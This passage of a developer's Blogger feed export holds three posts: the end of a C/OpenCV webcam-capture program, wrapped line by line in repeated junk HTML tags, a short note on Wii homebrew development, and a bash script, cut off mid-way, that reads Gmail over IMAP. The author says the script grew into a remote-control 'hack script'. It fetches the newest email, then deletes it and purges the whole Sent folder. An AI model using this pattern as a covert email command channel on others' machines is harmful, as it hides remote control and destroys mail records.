&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;  sprintf( msglog, &quot;[DEBUG] Terminou de configurar e fechar a camera 0 &quot; );&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;  write_log(&amp;amp;msglog[0]);&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;  */&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;  CvCapture* capture = cvCaptureFromCAM(0); // open the default camera id == 0&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;  // Exit if fail to open a Webcam&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;  if( capture == NULL ) {&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;      sprintf( msglog, &quot;[FATAL] PROCESSO INTERROMPIDO! Motivo: Impossivel acessar a camera. Arquivo solicitado: [%s]...&quot;, outfilename );&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;      write_log(&amp;amp;msglog[0]);&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;      exit(1);&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;  }&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;  if (debugging) write_log(&quot;[DEBUG] Camera aberta&quot;);&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;  IplImage* img = 0;&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;    while ( black_image_detector(img) ) {&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;        if (debugging) sprintf( msglog, &quot;[DEBUG] black_image_detector retornou true... continua loop...&quot; );&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;        if (debugging) write_log(&amp;amp;msglog[0]);&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;        if(!cvGrabFrame(capture)){              // capture a frame&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;          sprintf( msglog, &quot;[FATAL] PROCESSO INTERROMPIDO! Motivo: Impossivel captura um frame da camera. Arquivo solicitado: [%s]...&quot;, outfilename );&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;          write_log(&amp;amp;msglog[0]);&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;          exit(1);&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;        }&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;        if (debugging) sprintf( msglog, &quot;[DEBUG] passou do cvGrabFrame ok ...&quot; );&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;        if (debugging) write_log(&amp;amp;msglog[0]);&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;        img=cvRetrieveFrame(capture,0);           // retrieve the captured frame&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;        if (debugging) sprintf( msglog, &quot;[DEBUG] passou do cvRetrieveFrame...&quot; );&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;        if (debugging) write_log(&amp;amp;msglog[0]);&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;        if ( img == NULL || img == 0 ) cvWaitKey(100);&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;    }&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;    if (debugging) sprintf( msglog, &quot;[DEBUG] black_image_detector retornou false&quot; );&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;    if (debugging) write_log(&amp;amp;msglog[0]);&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;    cvSaveImage(outfilename, img, 0);&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;  // FECHANDO...&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;  sprintf( msglog, &quot;[INFO] OK ! Processo terminado normalmente. Arquivo capturado: [%s]...&quot;, outfilename );&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;  write_log(&amp;amp;msglog[0]);&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;  close_log();&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;  cvReleaseCapture(&amp;amp;capture);&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;  return 0;&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;}&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;br /&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;/span&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;&lt;/blockquote&gt;
&lt;stdio .h=&quot;.h&quot;&gt;&lt;stdlib .h=&quot;.h&quot;&gt;&lt;time .h=&quot;.h&quot;&gt;&lt;unistd .h=&quot;.h&quot;&gt;&lt;opencv cv.h=&quot;&quot;&gt;&lt;opencv highgui.h=&quot;&quot;&gt;&lt;br /&gt;&lt;/opencv&gt;&lt;/opencv&gt;&lt;/unistd&gt;&lt;/time&gt;&lt;/stdlib&gt;&lt;/stdio&gt;</content><link rel='replies' type='application/atom+xml' href='http://glaudiston.blogspot.com/feeds/7717226188430366011/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/527784892055465211/7717226188430366011' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/527784892055465211/posts/default/7717226188430366011'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/527784892055465211/posts/default/7717226188430366011'/><link rel='alternate' type='text/html' href='http://glaudiston.blogspot.com/2012/11/capture-frame-from-webcam-with-opencv.html' title=''/><author><name>Glaudiston</name><uri>http://www.blogger.com/profile/03591084064496857782</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-527784892055465211.post-7533764107068958758</id><published>2011-12-25T00:58:00.002-02:00</published><updated>2011-12-25T01:09:41.807-02:00</updated><title type='text'>Wii Development</title><content type='html'>There&#39;s a great opensource option to nintendo wii development.&lt;br /&gt;DevKitPPC from DevKitPro. It provides a lot of example and a great stuff to you start your game.&lt;br /&gt;You can too download any source from wiibrew.org and study it.&lt;br /&gt;&lt;br /&gt;The devkitppc use the homebrew channel in a fantastic way to turn the development so ease.&lt;br /&gt;&lt;br /&gt;The homebrew channel start to listen a port and you can run any code direct from your PC.&lt;br /&gt;&lt;br /&gt;To install the homebrew channel do not need hardware modifications in wii, all can be done using only soft hacks.&lt;br /&gt;&lt;br /&gt;I&#39;m currently learning more about wii development, may be I post some really interesting latter like some of my codes running in wii.</content><link rel='replies' type='application/atom+xml' href='http://glaudiston.blogspot.com/feeds/7533764107068958758/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/527784892055465211/7533764107068958758' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/527784892055465211/posts/default/7533764107068958758'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/527784892055465211/posts/default/7533764107068958758'/><link rel='alternate' type='text/html' href='http://glaudiston.blogspot.com/2011/12/wii-development.html' title='Wii Development'/><author><name>Glaudiston</name><uri>http://www.blogger.com/profile/03591084064496857782</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-527784892055465211.post-5461909168940466432</id><published>2011-08-15T14:58:00.014-03:00</published><updated>2015-06-24T13:51:16.508-03:00</updated><title type='text'>Gmail acess via bash - IMAP</title><content type='html'>I wrote this script to make a way to read you emails from gmail via BASH, some time after I remaked it to a hack script to remote control any O.S. that use bash:
&lt;br /&gt;
&lt;br /&gt;
This time only the gmail access... may be I&#39;ll post the powerful script someday.
&lt;br /&gt;
&lt;pre class=&quot;brush: bash&quot;&gt;
    #!/bin/bash

    GMAIL_USER=&quot;your_gmail_user&quot;;

    GMAIL_PW=&quot;your_password&quot;;

    AUTH_HASH=&quot;$(echo -en &quot;${GMAIL_USER} ${GMAIL_USER} ${GMAIL_PW}&quot; | base64)&quot;;

    SLEEP_TIME=2;

    TOTAL_MESSAGES=&quot;$(

    openssl s_client -crlf -connect imap.gmail.com:993 &amp;lt; &amp;lt;(

    sleep ${SLEEP_TIME}; echo &quot;A01 LOGIN $GMAIL_USER $GMAIL_PW&quot;;

    sleep ${SLEEP_TIME}; echo &quot;A02 SELECT INBOX&quot;;

    sleep ${SLEEP_TIME}; echo &quot;A02 LOGOUT&quot;;

    sleep ${SLEEP_TIME}; echo &quot;&quot;;

    ) 2&amp;gt;&amp;amp;1 | tr -d &quot;\r&quot; | grep -E &quot;^[*] [0-9]* EXISTS$&quot;| sed &quot;s/^[*] \([0-9]*\) EXISTS.*$/\1/g&quot;;

    )&quot;;


    TOTAL_MESSAGES_SENDED=&quot;$(

    openssl s_client -crlf -connect imap.gmail.com:993 &amp;lt; &amp;lt;(

    sleep ${SLEEP_TIME}; echo &quot;A01 LOGIN $GMAIL_USER $GMAIL_PW&quot;;

    sleep ${SLEEP_TIME}; echo &quot;A02 SELECT \&quot;[Gmail]/E-mails enviados\&quot;&quot;;

    sleep ${SLEEP_TIME}; echo &quot;A02 LOGOUT&quot;;

    sleep ${SLEEP_TIME}; echo &quot;&quot;;

    ) 2&amp;gt;&amp;amp;1 | tr -d &quot;\r&quot; | grep -E &quot;^[*] [0-9]* EXISTS$&quot;| sed &quot;s/^[*] \([0-9]*\) EXISTS.*$/\1/g&quot;;

    )&quot;;


    LAST_MAIL=&quot;$(

    openssl s_client -crlf -connect imap.gmail.com:993 &amp;lt; &amp;lt;(

    sleep ${SLEEP_TIME}; echo &quot;A01 LOGIN $GMAIL_USER $GMAIL_PW&quot;;

    sleep ${SLEEP_TIME}; echo &quot;A02 SELECT INBOX&quot;;

    sleep ${SLEEP_TIME}; echo &quot;A05 FETCH $TOTAL_MESSAGES ALL&quot;;

    sleep ${SLEEP_TIME}; echo &quot;A06 FETCH $TOTAL_MESSAGES:$TOTAL_MESSAGES BODY[TEXT]&quot;;

    sleep ${SLEEP_TIME}; echo &quot;A08 store $TOTAL_MESSAGES +FLAGS (\\Deleted)&quot;;

    sleep ${SLEEP_TIME}; echo &quot;a09 expunge&quot;;

    sleep ${SLEEP_TIME}; echo &quot;A02 SELECT \&quot;[Gmail]/E-mails enviados\&quot;&quot;;

    sleep ${SLEEP_TIME}; echo &quot;A08 store 1:$TOTAL_MESSAGES_SENDED +FLAGS (\\Deleted)&quot;;

    sleep ${SLEEP_TIME}; echo &quot;A09 expunge&quot;;

    sleep ${SLEEP_TIME}; echo &quot;A02 LOGOUT&quot;;

    sleep ${SLEEP_TIME}; echo &quot;&quot;;

    ) 2&amp;gt;&amp;amp;1 | tr -d &quot;\r&quot;

